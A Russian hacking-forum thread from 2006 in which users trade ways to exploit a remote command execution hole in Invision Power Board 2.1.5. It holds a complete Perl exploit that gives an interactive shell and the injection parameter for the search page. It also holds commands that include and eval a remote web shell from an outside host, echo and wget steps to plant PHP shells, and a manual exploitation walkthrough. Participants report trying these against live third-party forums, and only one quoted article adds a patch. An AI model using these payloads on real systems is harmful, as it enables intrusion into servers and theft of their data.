Форумы Уязвимость Invision Power Board 2.1.5

Discussion in 'Уязвимости CMS/форумов' started by Go0o$E, 26 Apr 2006.

Thread Status:
Not open for further replies.
  1. Sanyk36

    Sanyk36 New Member

    Joined:
    20 Apr 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись:
    Code:
    IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
    IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
    IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
    На локалке всё прошло на ура, а вот уже в инете так.
     
  2. xdye

    xdye Elder - Старейшина

    Joined:
    3 Apr 2006
    Messages:
    19
    Likes Received:
    3
    Reputations:
    0
    Да сейчас много где это идет на ура (мега респект автару) но то что мне действительно нодо не кактит...
     
  3. Otaku

    Otaku Elder - Старейшина

    Joined:
    24 Jul 2005
    Messages:
    279
    Likes Received:
    73
    Reputations:
    2
    Аффтар ты!!!
    Например вот неплохой сниффер ресурс:
    http://s.netsec.ru/
     
  4. gimlis

    gimlis New Member

    Joined:
    25 Jan 2006
    Messages:
    8
    Likes Received:
    1
    Reputations:
    0
    Запрещено использование include попробуйте с помощью php фаила, приложенного в архиве закодить что-нибудь наподобии.
    $file=join("",file("http://rst.void.ru/download/r57shell.txt"));
    eval($file);
    и его заслать
     
  5. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    919
    Likes Received:
    213
    Reputations:
    154
  6. L1on

    L1on New Member

    Joined:
    11 Mar 2006
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Не знаю почему, но на форуме lineageii.ru, у меня не выполняются никакие команды, ни под винду, ни под линукс. Хотя тема создаётся... Если делаю ручками, то тож не пашет.
    Кстати часто на форумах сплойт не воспроизводит команды, а ручками всё работает. Может это из-за того что я не правил сплойт...

    И ещё: когда я постю сообщение, например
    Code:
    eval(system(ls)); //'
    то при поиске выдаёт файлы, лежащие на сервере, а когда например:
    Code:
    eval(system(ls -la)); //'
    то мне выдаётся:
    IPB WARNING [2] system(): Cannot execute a blank command (Line: 1 of /sources/search.php(1236) : regexp code)

    Почему так?
     
    #86 L1on, 2 May 2006
    Last edited: 2 May 2006
  7. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    570
    Likes Received:
    160
    Reputations:
    179
    Они уже пропатчили форум.
     
  8. Grema

    Grema Elder - Старейшина

    Joined:
    29 Nov 2005
    Messages:
    109
    Likes Received:
    16
    Reputations:
    -4
    я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д.
    как можно закачать шелл или скачать сонфиг... бо не получаеться! =(
     
  9. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Шелл примерно так. Узнай путь и напиши выполни.

    echo "<? include($xxx); ?>" > c:\xxx2.txt

    причем файл создаться с ковычками, но они не должны повлиять на код.

    Или как показано в http://video.antichat.ru/file196.html через ФТП команды.

    а линуксовская команда CAT равнозначна мелкомягкой TYPE
    (type c:\xxx2.txt)
     
  10. 4lex

    4lex New Member

    Joined:
    2 May 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    а если сервак на linux, echo ведь прокатит?

    вот такой код

    echo "<? system($_GET['c']) ?> " > ./shell.php

    запишет в shell.php строку с system? а то у меня не получается.
    и еще как то странно себя ведет wget я делаю cd ./uploads/; wget _http://serv/shell.php;

    вроде бы записывает в файл, файл появляеться. но когда его запускаю, он показывает файлы с моего сервера... что делать?
     
    #90 4lex, 2 May 2006
    Last edited: 2 May 2006
  11. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    Статейка в тему, думаю полезно будет...

    Code:
    
    Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
    Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
    Давайте обратим внимание на эту строку (#95)
    
        $text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).
        chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
        chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)’.
        ‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).
        chr(120).chr(116))); //’;
    
    Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
    http://rst.void.ru/r57ipbinc.txt
    А вот и содержание этого текстового файла:
    
        <?
        /*
        r57ipbce exploit include file
        */
        passthru($_GET[’eharniy_ekibastos’]);
        ?>
    
    То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
    Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
    Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
    Создаем сообщение, содержащее текст:
    
        eval(phpinfo()); //
    
    Создали? Теперь откройте новую закладку в браузере (так удобнее будет) и перейдите к поиску. В поиске укажите: искомый текст eval, ваш логин, а также не забудьте указать “Показывать результаты ввиде сообщений”. Ищем только что созданный пост. Нашелся? Замечательно. Теперь в этом же окне добавьте в конец URL такую строчку:
    
        &lastdate=z|eval.*?%20//)%23e%00
    
    Адресная строка браузера должна иметь приблизительно такой вид:
    
        http://localhost/ipb/index.php?act=Search&CODE=show&searchid=…&search_in=posts&result_type=posts&highlite=system&lastdate=z|eval.*?%20//)%23e%00
    
    Жмите enter. Если вы все сделали правильно и форум уязвим, то вы увидите вывод информации о интерпретаторе PHP.
    Но нам нужен шелл.
    Вернемся к нашему сообщению. Надеюсь, у вас есть права на его редактирование? Если это так, переходите к его редактированию. Однако у этой уязвимости есть одна особенность: вы не можете использовать функции в привычном виде (system(”ls”) например). Нужно все символы аргументов переводить из их кода. То есть вместо system(”ls”) писать system(chr(34).chr(108).chr(115).chr(34)). Согласитесь, что это не совсем удобно, самому деражть в голове, искать где-то коды символов. Поэтому я набросал простенькую утилиту, которая преобразует команду за вас и выведет ее в пригодной для употребления форме. Например, вы вводите ls, а на выходе получаете строку eval(system(chr(108).chr(115)).chr(59).exit()); //. Утилита также содержит сей хэлп, только на английском языке (заранее приношу извинения, если что-то не так написал). Вы можете просто пропустить весь хэлп и и перейти непосредственно к энкодеру.
    Отредактировав сообщение, возвращайтесь к странице поиска и просто обновите ее. Таким образом, вы можете выполнять любые доступные вам команды.
    
    Теперь перейдем к защите от этой напасти. Открываем файл sources/action_public/search.php и ищем в нем регулярное выражение:
    
        this->output = preg_replace( “#(value=[\”‘]{$this->ipsclass->input[’lastdate’]}[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
    
    Которое заменяем на:
    
        $this->output = preg_replace( “#(value=[\”‘]”.intval($this->ipsclass->input[’lastdate’]).”[\”‘])#i”, “\\1 selected=’selected’”, $this->output );
    
    Как видите, патч состоит в том, что уязвимый параметр приводится к типу integer.
    
    P.S. Ни я, ни кто другой не несут ответственности за применение этой информации.
    © not null | Security Bunker Team
    
     
    _________________________
  12. tmp

    tmp Banned

    Joined:
    10 Mar 2005
    Messages:
    420
    Likes Received:
    32
    Reputations:
    1
    А на 1.3 final не проходит :((
     
  13. TRes

    TRes New Member

    Joined:
    22 Apr 2006
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Может я дурак, но кроме phpinfo() ничего не выполняется :confused: положительный результат есть у кого?
     
  14. CobanS

    CobanS New Member

    Joined:
    19 Feb 2006
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    а как в версии 2.0.4 сделать,?? что не катит...шел не загружаеться.
     
  15. xdye

    xdye Elder - Старейшина

    Joined:
    3 Apr 2006
    Messages:
    19
    Likes Received:
    3
    Reputations:
    0
    У меня не однократно) Воше дыра супер, обажаю шелл
     
  16. Black_Death

    Black_Death New Member

    Joined:
    16 Nov 2004
    Messages:
    26
    Likes Received:
    1
    Reputations:
    -1
    Сори за то, что немного не по теме, но никто не юзал?
    Code:
    #!/usr/bin/perl
    # Wed Apr 26 16:44:15 CEST 2006 jolascoaga (at) 514 (dot) es [email concealed]
    #
    # INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
    #
    # remote command execution. vuln credits goes to IceShaman.
    #
    # works only if you have perms to post a comment. Exploit with replye is
    # in my TODO... 
    #
    # 514 still r0xing.
    # !dSR the hardc0re hax0rs ;)
    # There is no kwel comments in this release, wait for next upgrade
    #######################################################################/
    
    use LWP::UserAgent;
    use HTTP::Cookies;
    use LWP::Simple;
    use HTTP::Request::Common "POST";
    use HTTP::Response;
    use Getopt::Long;
    use strict;
    
    $| = 1; # ;1 = |$
    
    my ($proxy,$proxy_user,$proxy_pass,$lang);
    my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
    my ($md5_key, $post_key, $tmp_var);
    
    my %lang_es = (
    'name' => 'Spanish Language',
    'login' => "Ahora estas identificado",
    'incorrect' => "Nombre de usuario o contrasena incorrectos",
    'deleted' => "Tema Eliminado"
    );
    
    my %lang_en = (
    'name' => 'English language',
    'login' => "You are now logged in",
    'incorrect' => "Sorry, we could not find a member using those log in details",
    'deleted' => 'Topic Deleted',
    );
    my %lang_strings = ();
    
    my $ua = new LWP::UserAgent(
    cookie_jar=> { file => "$$.cookie" });
    
    my $options = GetOptions (
    'host=s' => \$arg_host, 
    'proxy=s' => \$proxy,
    'proxy_user=s' => \$proxy_user,
    'proxy_pass=s' => \$proxy_pass,
    'ipb_user=s' => \$ipb_user,
    'ipb_pass=s' => \$ipb_pass,
    'lang=s' => \$lang,
    'errors' => \$errors,
    'debug' => \$debug);
    
    my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
    print "Host: $host\nForum Index: $forum_index\n" if $debug;
    
    &help unless ($host);
    
    # w0w0w0w0w0 is smarter than some one i know :D
    if (!$lang) {
    lang_autodetect();
    print "Detected lang is: $lang_strings{'name'}\n" if $debug;
    }
    
    while (1){
    print "invvy:\\> ";
    my $cmd = <STDIN>;
    &invvy($cmd);
    }
    
    sub invvy {
    chomp (my $cmd = shift);
    LWP::Debug::level('+') if $debug;
    
    $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
    
    $ua->proxy(['http'] => $proxy) if $proxy;
    my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    ipb_login (); # This works with redirects enabled/disabled
    
    ipb_post(); # Post in a main forum.
    
    ipb_exec ($cmd);
    
    ipb_delete ($forum_index, $topic_index);
    }
    # guglucitos team presents:
    
    sub help {
    print "Syntax: ./$0 <url> [options]\n";
    print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--lang=[es|en] (default: autodetect)\n";
    print "\t--debug\n";
    print "\t--errors\n";
    print "\nExample\n";
    print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
    print "\n";
    exit(1);
    }
    
    # sponsorized by coca-cola
    sub lang_autodetect {
    
    my $req = HTTP::Request->new (GET => $host."/index.php");
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    print $req->as_string() if $debug;
    
    my $res = $ua->request($req);
    my $html = $res->content();
    
    if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
    %lang_strings = %lang_es;
    return;
    }
    if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
    %lang_strings = %lang_en;
    return;
    }
    print "Unknown lang switching to default: 'english'\n";
    %lang_strings = %lang_en;
    }
    
    # login function for 2.1.5
    sub ipb_login {
    my $content;
    my $h = $host."/index.php?act=Login&CODE=01";
    print $h . "\n" if $debug;
    my $req = POST $h,[
    'referer' => $host,
    'UserName' => $ipb_user,
    'PassWord' => $ipb_pass,
    'CookieDate' => 1
    ]; #grab these, and send to dsr!
    print $req->as_string() if $debug;
    my $res = $ua->request($req);
    if ($errors) {
    print "[+] Context: Login in\n";
    print "HTTP Error code: ".$res->code()."\n";
    print "HTTP Location: ".$res->header("Location")."\n";
    my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
    print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
    }
    if ($res->code() eq 302) {
    $content = redirect ($res->header("Location"));
    
    } else {
    
    $content = $res->content();
    }
    
    if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
    print "Logged in\n" if $errors;
    } else {
    die "Can't log in\n";
    }
    
    }
    
    sub redirect {
    my ($addr) = @_;
    my $req = HTTP::Request->new (GET => $addr);
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    print $req->as_string() if $debug; # MKSINK is r0xer
    
    my $res = $ua->request($req);
    my $html = $res->content();
    
    return $html;
    }
    
    sub ipb_post {
    # This is for posting into a main index.
    
    my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;
    
    my $req = HTTP::Request->new (GET => $h);
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    print $req->as_string() if $debug; #dirty_epic r0x++
    
    my $res = $ua->request($req);
    my $html = $res->content();
    
    ($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
    ($post_key) = $html =~ m/post_key' value='(.*?)'/;
    
    print "AUTH check: $md5_key\n" if $debug;
    print "POST key: $post_key\n" if $debug;
    
    $tmp_var = int(rand(31337));
    my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
    $h = $host."/index.php";
    
    print $h."\n" if $debug;
    
    my $req = POST $h, [
    'st' => 0,
    'act' => "Post",
    's' => '',
    'f' => $forum_index,
    'auth_key' => $md5_key,
    'removeattachid' => 0,
    'MAX_FILE_SIZE' => 51200000,
    'CODE' => '01',
    'post_key' => $post_key,
    'TopicTitle' => '514 pwned',
    'TopicDesc' => '',
    'poll_question' => '',
    'ffont' => 0,
    'fsize' => 0,
    'Post' => $exploitme,
    'post_htmlstatus' => 0,
    'enableemo' => 'yes',
    'enablesig' => 'yes',
    'mod_options' => 'nowt',
    'iconid' => 0,
    'dosubmit' => 'Post New Topic'
    ];
    
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    print $req->as_string() if $debug;
    my $res = $ua->request($req);
    my $html = $res->content();
    
    print "Location: ".$res->header("Location") if $debug;
    ($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
    if ($errors) {
    print "[+] Context: Creating post\n";
    print "HTTP Error code: ".$res->code()."\n";
    print "HTTP Location: ".$res->header("Location")."\n";
    print "Topic Index: ".$topic_index."\n";
    my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
    print "- ERROR -\nFind string: none\n$error\n- ERROR -\n"; 
    }
    
    }
    
    sub ipb_delete {
    my ($fid, $tid) = @_;
    my $req; 
    print "Deleting Topic: $tid from forum: $fid\n" if $debug;
    
    my $h = $host."/index.php";
    $req = POST $h, [
    'st' => 0,
    'act' => 'mod',
    'f' => $fid,
    'auth_key' => $md5_key,
    'CODE' => '08',
    't' => $tid,
    'submit' => 'Delete this topic'
    ]; # fuck windows automatic reboot
    print $req->as_string() if $debug;
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    my $res = $ua->request($req);
    
    if ($errors) {
    print "[+] Context: Deleting Topic\n";
    print "HTTP Error code: ".$res->code()."\n";
    print "HTTP Location: ".$res->header("Location")."\n";
    print "Topic Index: ".$topic_index."\n";
    my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
    print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
    }
    # yow yow
    if ($res->code() eq 200) {
    if ($res->content() =~ /$lang_strings{'deleted'}/) {
    print "Topic $topic_index deleted\n" if $errors;
    } else {
    print "Maybe there was errors deleting post: $topic_index\n" if $errors;
    }
    }
    }
    
    # shhhhh this is hidden
    sub ipb_exec { 
    my ($cmd) = @_;
    my $h = $host."/index.php?act=Search&CODE=01";
    my $req = POST $h, [
    'keywords' => "HTTP_".$tmp_var,
    'namesearch' => '',
    'forums[]' => $forum_index,
    'prune' => 0,
    'prune_type' => 'newer',
    'result_type' => 'posts',
    'search_in' => 'posts',
    'sort_key' => 'last_post',
    'searchsubs' => '1'
    ];
    print $req->as_string() if $debug;
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    my $res = $ua->request($req);
    my $html = $res->content();
    
    my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
    print "Redirect to: $redir\n" if $errors; # don't ask
    
    if ($errors) {
    print "[+] Context: First search\n";
    print "HTTP Error code: ".$res->code()."\n";
    print "HTTP Location: ".$res->header("Location")."\n";
    print "Topic Index: ".$topic_index."\n";
    my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
    print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
    }
    
    if ($res->code eq 302) {
    $redir = $res->header("Location");
    }
    
    # piere - tonite is a great song
    my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    
    print $req->as_string() if $debug;
    
    my $res = $ua->request($req);
    my $html = $res->content();
    
    $html =~ m/STARTXPL(.*?)ENDXPL/s;
    print $1."\n";
    
    # no matter with you
    if ($errors) {
    print "[+] Context: Executed\n";
    print "HTTP Error code: ".$res->code()."\n";
    print "HTTP Location: ".$res->header("Location")."\n";
    print "Topic Index: ".$topic_index."\n";
    my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
    print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
    }
    
    }
    # be aware with la roca peoplee
    
     
  17. xdye

    xdye Elder - Старейшина

    Joined:
    3 Apr 2006
    Messages:
    19
    Likes Received:
    3
    Reputations:
    0
    Я юзал не чего не вышло) не есть гуд ИМХО
     
  18. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Если честно, то руками выходит быстрее. Особенно если заинклудить rst.
     
  19. xdye

    xdye Elder - Старейшина

    Joined:
    3 Apr 2006
    Messages:
    19
    Likes Received:
    3
    Reputations:
    0
    Может вылажишь мануал как руками?
     
  20. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    919
    Likes Received:
    213
    Reputations:
    154
    Сколько можно мусолить тему? Уже и видео есть и мануалов несколько.
    Мануал: http://forum.antichat.ru/showpost.php?p=146231&postcount=91

    Читайте топик сначала.
     
    #100 Azazel, 3 May 2006
    Last edited: 3 May 2006
Loading...
Thread Status:
Not open for further replies.